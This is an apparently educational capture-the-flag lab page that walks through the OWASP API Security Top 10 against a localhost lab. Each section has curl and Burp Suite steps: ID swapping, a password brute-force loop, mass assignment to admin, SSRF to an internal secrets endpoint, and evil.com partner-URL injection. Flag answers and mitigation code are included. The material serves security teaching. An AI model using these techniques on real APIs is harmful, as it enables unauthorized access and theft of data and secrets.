Educational Lab

OWASP API Security Lab

Master the Top 10 API vulnerabilities through hands-on practice. A safe, controlled environment designed for security professionals and developers.

10
Vulnerabilities
10
Capturable Flags
Learning
API1:2023 Easy

Broken Object Level Authorization

BOLA (formerly IDOR) occurs when an API exposes a reference to an internal implementation object (like a database ID) without checking authorization. Attackers can manipulate these IDs to access unauthorized data.

01

Authenticate as Alice

First, get a valid JWT token by logging in as a regular user.

cURL
# Login as Alice and save token
curl -X POST http://localhost:3000/api/v1/auth/login \
  -H "Content-Type: application/json" \
  -d '{"username":"alice","password":"alice123"}' \
  | jq -r '.token' > token.txt

# Store token in variable
export TOKEN=$(cat token.txt)
echo "Token: $TOKEN"
02

Exploit BOLA

Now, try to access Bob's profile (ID: 2) using Alice's token.

cURL
# VULNERABLE! Access Bob's profile (ID:2) with Alice's token
curl http://localhost:3000/api/v1/users/2/profile \
  -H "Authorization: Bearer $TOKEN" \
  | jq .

# You'll see Bob's sensitive data including the flag!
03

Capture The Flag

If successful, you'll see Bob's sensitive data and the flag.

CTF Flag
GTX{b0la_pr0f1l3_4cc3ss}

Alternative: Using Burp Suite

For those who prefer GUI tools, here's how to exploit BOLA using Burp Suite.

01

Configure Proxy & Login

Set browser proxy to 127.0.0.1:8080, then login as Alice.

POST /api/v1/auth/login HTTP/1.1
Content-Type: application/json

{"username":"alice","password":"alice123"}
02

Intercept Profile Request

Navigate to your profile, intercept the request in Burp.

GET /api/v1/users/1/profile HTTP/1.1
Authorization: Bearer eyJhbGc...
03

Modify User ID

Change the user ID from 1 to 2 and forward.

GET /api/v1/users/2/profile HTTP/1.1
Authorization: Bearer eyJhbGc...
04

Analyze Response

Check the response - you'll see Bob's data with the flag!

{"id":2,"username":"bob","email":"bob@example.com",
"flag":"GTX{b0la_pr0f1l3_4cc3ss}"}

Mitigation Strategy

Always validate that the authenticated user has permission to access the requested resource ID.

if (req.user.id !== requestedId) {
  return res.status(403).json({ error: 'Forbidden' });
}
API2:2023 Easy

Broken Authentication

Authentication mechanisms are often implemented incorrectly, allowing attackers to compromise authentication tokens or exploit implementation flaws like missing rate limiting.

01

Brute Force Attack

The login endpoint lacks rate limiting. We can guess passwords rapidly.

cURL
# Brute force attack - no rate limiting!
for pass in "123456" "password" "qwerty" "admin"; do
  echo "Trying password: $pass"
  response=$(curl -s -X POST http://localhost:3000/api/v1/auth/login \
    -H "Content-Type: application/json" \
    -d "{\"username\":\"weakpass\",\"password\":\"$pass\"}")
  
  if echo "$response" | grep -q "token"; then
    echo "✅ Password found: $pass"
    echo "$response" | jq .
    break
  else
    echo "❌ Failed: $pass"
  fi
done
02

Capture The Flag

CTF Flag
GTX{br00t_f0rc3_succ3ss}

Alternative: Using Burp Suite Intruder

Use Burp Intruder to automate the brute force attack.

01

Capture Login Request

Intercept a login attempt in Burp Proxy.

POST /api/v1/auth/login HTTP/1.1
Content-Type: application/json

{"username":"weakpass","password":"test"}
02

Send to Intruder

Right-click → Send to Intruder. Mark the password field as payload position.

{"username":"weakpass","password":"§test§"}
03

Configure Payload

Add common passwords: 123456, password, qwerty, admin

Payload type: Simple list
Payloads: 123456, password, qwerty, admin
04

Start Attack & Find Flag

Look for HTTP 200 response with "token" in body - that's the correct password!

Status: 200
Response: {"token":"eyJhbGc...","flag":"GTX{br00t_f0rc3_succ3ss}"}
API3:2023 Medium

Broken Object Property Level Authorization

Also known as Mass Assignment. This occurs when an API endpoint automatically binds client input to internal code variables or objects without filtering, allowing users to update restricted fields.

01

Authenticate First

Login as Alice to get a valid JWT token.

cURL
# Login as Alice and save token
export TOKEN=$(curl -s -X POST http://localhost:3000/api/v1/auth/login \
  -H "Content-Type: application/json" \
  -d '{"username":"alice","password":"alice123"}' | jq -r '.token')

echo "Token: $TOKEN"
02

Privilege Escalation

Try to update your profile with restricted fields like is_admin.

cURL
# EXPLOIT: Update profile with restricted fields
curl -X PUT http://localhost:3000/api/v1/users/profile \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"is_admin":true,"account_balance":999999}' | jq .

# Response includes the flag if successful!
03

Capture The Flag

CTF Flag
GTX{m4ss_4ss1gnm3nt_pwn3d}

Alternative: Using Burp Suite Repeater

Use Burp Repeater to manually test mass assignment vulnerability.

01

Login & Capture Profile Update

Login as Alice, then intercept a profile update request.

PUT /api/v1/users/profile HTTP/1.1
Authorization: Bearer eyJhbGc...
Content-Type: application/json

{"name":"Alice Updated"}
02

Send to Repeater

Right-click → Send to Repeater (Ctrl+R)

03

Add Restricted Fields

Modify the JSON body to include restricted fields.

{"name":"Alice Updated",
"is_admin":true,
"account_balance":999999}
04

Send & Verify

Click "Send" and check response - you're now admin!

HTTP/1.1 200 OK

{"id":1,"is_admin":true,
"flag":"GTX{m4ss_4ss1gnm3nt_pwn3d}"}
API4:2023 Easy

Unrestricted Resource Consumption

APIs often do not limit the number or size of resources that can be requested by the client/user. This can impact the API server performance, leading to Denial of Service (DoS).

01

Normal Request

First, observe the normal pagination behavior with default limit.

cURL
# Normal request with default pagination
curl http://localhost:3000/api/v1/products | jq .

# Returns ~20 products by default
02

Exploit: Bypass Pagination Limit

Request an extremely large number of records - no maximum limit is enforced!

cURL
# EXPLOIT: Request massive amount of data
curl "http://localhost:3000/api/v1/products?limit=999999" | jq .

# The server accepts ANY limit value - potential DoS!
# Response includes the flag when limit > 1000
03

Capture The Flag

Response includes the flag when an excessive limit is requested.

CTF Flag
GTX{p4g1n4t10n_l1m1t_byp4ss}

Alternative: Using Burp Suite

Use Burp Suite to test pagination limits.

01

Capture Request

Intercept a products request in Burp Proxy.

GET /api/v1/products?limit=20 HTTP/1.1
Host: localhost:3000
02

Send to Repeater & Modify Limit

Right-click → Send to Repeater. Change limit to a huge value.

GET /api/v1/products?limit=999999 HTTP/1.1
Host: localhost:3000
03

Send & Find Flag

Click "Send" - response contains the flag!

HTTP/1.1 200 OK

{"products":[...],"limit":999999,
"flag":"GTX{p4g1n4t10n_l1m1t_byp4ss}"}

Mitigation Strategy

Always enforce maximum limits on pagination and implement rate limiting.

const MAX_LIMIT = 100;
const limit = Math.min(requestedLimit, MAX_LIMIT);
API5:2023 Easy

Broken Function Level Authorization

Complex access control policies with different hierarchies, groups, and roles, and an unclear separation between administrative and regular functions, tend to lead to authorization flaws.

01

Authenticate as Regular User

Login as a regular user (not admin) to get a valid token.

cURL
# Login as regular user (alice is NOT an admin)
export TOKEN=$(curl -s -X POST http://localhost:3000/api/v1/auth/login \
  -H "Content-Type: application/json" \
  -d '{"username":"alice","password":"alice123"}' | jq -r '.token')

echo "Token: $TOKEN"
02

Access Admin Endpoint

The admin endpoint only checks authentication, not authorization!

cURL
# EXPLOIT: Access admin-only endpoint with regular user token
curl http://localhost:3000/api/v1/admin/users \
  -H "Authorization: Bearer $TOKEN" \
  | jq .

# Regular user can see ALL users including admin data!
# Response includes the flag
03

Capture The Flag

Non-admin users can access admin functionality!

CTF Flag
GTX{4dm1n_4cc3ss_gr4nt3d}

Alternative: Using Burp Suite

Use Burp Suite to access admin endpoints as regular user.

01

Login as Regular User

Intercept login request for alice (non-admin).

POST /api/v1/auth/login HTTP/1.1
Content-Type: application/json

{"username":"alice","password":"alice123"}
02

Access Admin Endpoint

Copy the token and access /api/v1/admin/users

GET /api/v1/admin/users HTTP/1.1
Authorization: Bearer eyJhbGc...
03

Get All Users + Flag

Regular user can access admin data!

HTTP/1.1 200 OK

{"message":"Admin: All users","users":[...],
"flag":"GTX{4dm1n_4cc3ss_gr4nt3d}"}

Mitigation Strategy

Always verify user roles before allowing access to administrative functions.

if (req.user.role !== 'admin') {
  return res.status(403).json({ error: 'Admin access required' });
}
API6:2023 Medium

Unrestricted Access to Sensitive Business Flows

APIs vulnerable to this risk expose a business flow - such as buying a ticket or posting a comment - without compensating for how the functionality could be automated and abused.

01

Authenticate First

Login to get a valid JWT token, then check available events.

cURL
# Login and save token
export TOKEN=$(curl -s -X POST http://localhost:3000/api/v1/auth/login \
  -H "Content-Type: application/json" \
  -d '{"username":"alice","password":"alice123"}' | jq -r '.token')

# Check available events
curl http://localhost:3000/api/v1/tickets/events | jq .
02

Automated Ticket Scalping

No CAPTCHA, no rate limiting - buy all tickets automatically!

cURL
# EXPLOIT: Buy 10+ tickets at once (no per-user limit enforced!)
curl -X POST http://localhost:3000/api/v1/tickets/purchase \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"eventId":1,"quantity":10}' \
  | jq .

# No CAPTCHA, no rate limiting, no bot detection!
# Flag appears when quantity >= 10
03

Capture The Flag

Successfully bypassed business flow protections!

CTF Flag
GTX{t1ck3t_sc4lp1ng_d3t3ct3d}

Alternative: Using Burp Suite Intruder

Automate ticket scalping attack with Burp Intruder.

01

Capture Purchase Request

Login first, then intercept a ticket purchase.

POST /api/v1/tickets/purchase HTTP/1.1
Authorization: Bearer eyJhbGc...
Content-Type: application/json

{"eventId":1,"quantity":1}
02

Modify Quantity

Change quantity to 10 or more in Repeater.

{"eventId":1,"quantity":10}
03

Send & Get Flag

No rate limiting - purchase goes through!

HTTP/1.1 200 OK

{"message":"Tickets purchased successfully",
"flag":"GTX{t1ck3t_sc4lp1ng_d3t3ct3d}"}

Mitigation Strategy

Implement CAPTCHA, rate limiting, and per-user purchase limits.

validateCaptcha(req);
const userPurchases = await db.getUserEventPurchases(userId, eventId);
if (userPurchases + quantity > MAX_PER_USER) {
  throw new Error('Limit exceeded');
}
API7:2023 Medium

Server Side Request Forgery

SSRF flaws occur whenever an API is fetching a remote resource without validating the user-supplied URL. This allows an attacker to coerce the application to send a crafted request to an unexpected destination.

01

Authenticate First

Login to get a valid JWT token.

cURL
# Login and save token
export TOKEN=$(curl -s -X POST http://localhost:3000/api/v1/auth/login \
  -H "Content-Type: application/json" \
  -d '{"username":"alice","password":"alice123"}' | jq -r '.token')

echo "Token: $TOKEN"
02

Exploit: Access Internal Services

Point to localhost to access internal debug endpoints!

cURL
# EXPLOIT: SSRF to access internal endpoints
curl -X POST http://localhost:3000/api/v1/users/avatar \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"avatarUrl":"http://localhost:3000/api/debug/config"}' \
  | jq .

# The server fetches the internal URL and returns the content!
# You can see internal config, JWT secrets, etc.
03

Capture The Flag

Successfully accessed internal network via SSRF!

CTF Flag
GTX{ssrf_1nt3rn4l_4cc3ss}

Alternative: Using Burp Suite

Use Burp Repeater to test SSRF vulnerability.

01

Login & Capture Avatar Request

Intercept a POST to /api/v1/users/avatar

POST /api/v1/users/avatar HTTP/1.1
Authorization: Bearer eyJhbGc...
Content-Type: application/json

{"avatarUrl":"https://example.com/img.jpg"}
02

Modify to Internal URL

Change URL to access internal services.

{"avatarUrl":"http://localhost:3000/api/debug/config"}
03

View Internal Data + Flag

Server fetches internal URL and returns content!

HTTP/1.1 200 OK

{"fetchedContent":"{\"jwtSecret\":\"...\"}",
"flag":"GTX{ssrf_1nt3rn4l_4cc3ss}"}

Mitigation Strategy

Validate and whitelist allowed URL schemes and domains. Block internal IPs.

const blockedHosts = ['localhost', '127.0.0.1', '169.254.169.254'];
if (blockedHosts.includes(url.hostname)) {
  throw new Error('Blocked URL');
}
API8:2023 Easy

Security Misconfiguration

APIs and the systems supporting them typically have complex configurations, meant to make the APIs more customizable. Security misconfiguration is commonly a result of unsecure default configurations.

01

Discover Debug Endpoints

Try common debug and admin paths that are often left enabled.

cURL
# Try common debug endpoints
curl http://localhost:3000/api/debug/config | jq .
curl http://localhost:3000/api/debug/health | jq .

# These endpoints are accessible without authentication!
02

Extract Sensitive Information

The debug endpoint exposes JWT secrets and other sensitive config!

cURL
# CRITICAL: Debug config exposes secrets!
curl http://localhost:3000/api/debug/config | jq .

# Response includes:
# - jwtSecret: The JWT signing key!
# - Database path
# - Internal configuration
# - Flag for finding this misconfiguration
03

Capture The Flag

Found exposed debug endpoint with sensitive data!

CTF Flag
GTX{d3bug_3ndp01nt_3xp0s3d}

Alternative: Using Burp Suite

Use Burp Suite to discover debug endpoints.

01

Enumerate Endpoints

Try common debug paths in Repeater.

GET /api/debug/config HTTP/1.1
Host: localhost:3000
02

View Exposed Secrets

Debug endpoint returns sensitive config!

HTTP/1.1 200 OK

{"jwtSecret":"super_secret_key",
"databasePath":"./data/lab.db",
"flag":"GTX{d3bug_3ndp01nt_3xp0s3d}"}

Mitigation Strategy

Disable debug endpoints in production. Never expose secrets in responses.

if (process.env.NODE_ENV === 'production') {
  // Debug routes disabled in production
} else {
  app.use('/api/debug', debugRoutes);
}
API9:2023 Easy

Improper Inventory Management

APIs tend to expose more endpoints than traditional web applications, making proper and updated documentation highly important. Improper inventory management leads to blind spots like old API versions.

01

Check Current API Version

The documented API is v1, but are there older versions?

cURL
# Check API documentation
curl http://localhost:3000/api/docs | jq .

# Current version is v1, but let's check for older versions...
02

Discover Deprecated API v0

Old API versions often have weaker security controls!

cURL
# EXPLOIT: Try older API version (v0)
curl http://localhost:3000/api/v0/admin/users | jq .

# Old v0 API has NO authentication required!
# Returns all users including admin credentials
# Includes the flag for discovering this
03

Capture The Flag

Found deprecated API version with no authentication!

CTF Flag
GTX{0ld_v3rs10n_vuln3r4bl3}

Alternative: Using Burp Suite

Use Burp Suite to discover deprecated API versions.

01

Try Different API Versions

Enumerate version paths: v0, v1, v2, beta, etc.

GET /api/v0/admin/users HTTP/1.1
Host: localhost:3000
02

Access Without Auth

Old v0 API has no authentication!

HTTP/1.1 200 OK

{"message":"Deprecated API v0",
"users":[{"username":"admin"...}],
"flag":"GTX{0ld_v3rs10n_vuln3r4bl3}"}

Mitigation Strategy

Maintain API inventory, deprecate old versions, and remove from production.

// Only allow current API version in production
if (process.env.NODE_ENV === 'production') {
  app.use('/api/v2', v2Router); // Only v2
}
API10:2023 Medium

Unsafe Consumption of APIs

Developers tend to trust data received from third-party APIs more than user input. This is especially true for APIs offered by well-known companies.

01

Identify Integration Endpoint

The API syncs data from "trusted" third-party partners.

cURL
# Normal partner sync with trusted URL
curl -X POST http://localhost:3000/api/v1/integrations/sync \
  -H "Content-Type: application/json" \
  -d '{"partnerUrl":"https://partner.example.com/api"}' \
  | jq .
02

Inject Malicious Partner URL

The API blindly trusts ANY URL claiming to be a partner!

cURL
# EXPLOIT: Inject malicious partner URL
curl -X POST http://localhost:3000/api/v1/integrations/sync \
  -H "Content-Type: application/json" \
  -d '{"partnerUrl":"https://evil.com/malicious-payload"}' \
  | jq .

# Also works with:
# - "attacker.com" 
# - "malicious-site.com"
# Server trusts data from ANY "partner" without validation!
03

Capture The Flag

Successfully exploited unsafe API consumption!

CTF Flag
GTX{uns4f3_4p1_c0nsum3}

Alternative: Using Burp Suite

Use Burp Suite to test unsafe API consumption.

01

Capture Integration Request

Intercept POST to /api/v1/integrations/sync

POST /api/v1/integrations/sync HTTP/1.1
Content-Type: application/json

{"partnerUrl":"https://partner.example.com"}
02

Inject Malicious URL

Replace with attacker-controlled domain.

{"partnerUrl":"https://evil.com/payload"}
03

Server Trusts Malicious Data

No validation - flag returned!

HTTP/1.1 200 OK

{"status":"synced","source":"https://evil.com/payload",
"flag":"GTX{uns4f3_4p1_c0nsum3}"}

Mitigation Strategy

Validate and sanitize all data from third-party APIs. Whitelist allowed partners.

const allowedPartners = ['partner1.com', 'partner2.com'];
const url = new URL(partnerUrl);
if (!allowedPartners.includes(url.hostname)) {
  throw new Error('Unknown partner');
}